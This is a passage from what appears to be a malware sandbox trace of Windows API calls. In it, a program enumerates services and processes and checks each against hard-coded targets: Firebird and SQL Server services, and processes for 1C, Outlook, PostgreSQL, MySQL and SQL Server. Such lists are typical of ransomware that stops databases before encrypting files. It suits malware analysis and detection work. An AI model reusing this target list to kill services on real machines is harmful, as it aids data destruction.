(lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0034.666] lstrlenW (lpString="AudioSrv") returned 8 [0034.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0034.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0034.666] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0034.666] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0034.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0034.666] lstrlenW (lpString="BFE") returned 3 [0034.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0034.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0034.667] lstrlenW (lpString="CryptSvc") returned 8 [0034.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0034.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0034.667] lstrlenW (lpString="CscService") returned 10 [0034.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0034.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0034.667] lstrlenW (lpString="DcomLaunch") returned 10 [0034.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0034.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0034.667] lstrlenW (lpString="Dhcp") returned 4 [0034.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0034.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0034.667] lstrlenW (lpString="Dnscache") returned 8 [0034.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0034.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0034.667] lstrlenW (lpString="DPS") returned 3 [0034.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0034.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0034.667] lstrlenW (lpString="eventlog") returned 8 [0034.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0034.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0034.667] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0034.667] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0034.668] lstrlenW (lpString="EventSystem") returned 11 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0034.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0034.668] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0034.668] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0034.668] lstrlenW (lpString="gpsvc") returned 5 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0034.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0034.668] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0034.668] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0034.668] lstrlenW (lpString="iphlpsvc") returned 8 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.668] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0034.668] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0034.668] lstrlenW (lpString="LanmanServer") returned 12 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0034.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0034.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0034.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0034.668] lstrlenW (lpString="LanmanWorkstation") returned 17 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0034.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0034.668] lstrlenW (lpString="lmhosts") returned 7 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0034.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0034.668] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0034.668] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0034.668] lstrlenW (lpString="MMCSS") returned 5 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0034.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0034.668] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0034.668] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0034.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0034.668] lstrlenW (lpString="MpsSvc") returned 6 [0034.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0034.669] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0034.669] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0034.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0034.669] lstrlenW (lpString="Netman") returned 6 [0034.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0034.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0034.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0034.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0034.669] lstrlenW (lpString="netprofm") returned 8 [0034.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0034.669] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0034.669] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0034.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0034.669] lstrlenW (lpString="NlaSvc") returned 6 [0034.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0034.669] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0034.669] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0034.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0034.669] lstrlenW (lpString="nsi") returned 3 [0034.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0034.669] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0034.669] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0034.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0034.669] lstrlenW (lpString="PcaSvc") returned 6 [0034.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0034.669] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0034.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0034.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0034.669] lstrlenW (lpString="PlugPlay") returned 8 [0034.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0034.669] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0034.669] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0034.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0034.669] lstrlenW (lpString="Power") returned 5 [0034.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0034.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0034.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0034.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0034.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0034.670] lstrlenW (lpString="ProfSvc") returned 7 [0034.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0034.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0034.670] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0034.670] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0034.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0034.670] lstrlenW (lpString="RpcEptMapper") returned 12 [0034.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0034.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0034.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0034.670] lstrlenW (lpString="RpcSs") returned 5 [0034.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0034.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0034.670] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0034.670] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0034.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0034.670] lstrlenW (lpString="SamSs") returned 5 [0034.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0034.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0034.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0034.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0034.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0034.670] lstrlenW (lpString="Schedule") returned 8 [0034.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0034.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0034.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0034.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0034.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0034.670] lstrlenW (lpString="SENS") returned 4 [0034.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0034.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0034.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0034.671] lstrlenW (lpString="ShellHWDetection") returned 16 [0034.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0034.671] lstrlenW (lpString="Spooler") returned 7 [0034.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0034.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0034.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0034.671] lstrlenW (lpString="SysMain") returned 7 [0034.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0034.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0034.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0034.671] lstrlenW (lpString="Themes") returned 6 [0034.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0034.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0034.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0034.671] lstrlenW (lpString="TrkWks") returned 6 [0034.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0034.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0034.671] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0034.671] lstrlenW (lpString="UxSms") returned 5 [0034.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0034.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0034.671] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0034.671] lstrlenW (lpString="WdiServiceHost") returned 14 [0034.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0034.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0034.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0034.671] lstrlenW (lpString="WdiSystemHost") returned 13 [0034.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.672] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0034.672] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0034.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0034.672] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0034.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.672] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0034.672] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0034.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0034.672] lstrlenW (lpString="Winmgmt") returned 7 [0034.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0034.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0034.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0034.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0034.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0034.672] lstrlenW (lpString="WPDBusEnum") returned 10 [0034.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.672] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0034.672] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0034.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0034.672] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3ef3078 | out: hHeap=0x880000) returned 1 [0034.672] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c [0034.675] Process32FirstW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.675] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0034.676] lstrlenW (lpString="System") returned 6 [0034.676] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0034.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0034.676] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0034.676] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0034.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0034.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0034.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0034.676] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0034.676] lstrlenW (lpString="smss.exe") returned 8 [0034.676] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0034.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0034.676] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0034.676] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0034.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0034.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0034.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0034.677] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.677] lstrlenW (lpString="csrss.exe") returned 9 [0034.677] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.677] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.677] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0034.677] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0034.678] lstrlenW (lpString="wininit.exe") returned 11 [0034.678] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0034.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0034.678] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0034.678] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0034.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0034.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0034.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0034.678] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.678] lstrlenW (lpString="csrss.exe") returned 9 [0034.678] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.678] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.678] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.678] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0034.679] lstrlenW (lpString="winlogon.exe") returned 12 [0034.679] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0034.679] lstrlenW (lpString="services.exe") returned 12 [0034.679] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0034.680] lstrlenW (lpString="lsass.exe") returned 9 [0034.680] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0034.680] lstrlenW (lpString="lsm.exe") returned 7 [0034.680] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.681] lstrlenW (lpString="svchost.exe") returned 11 [0034.681] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, 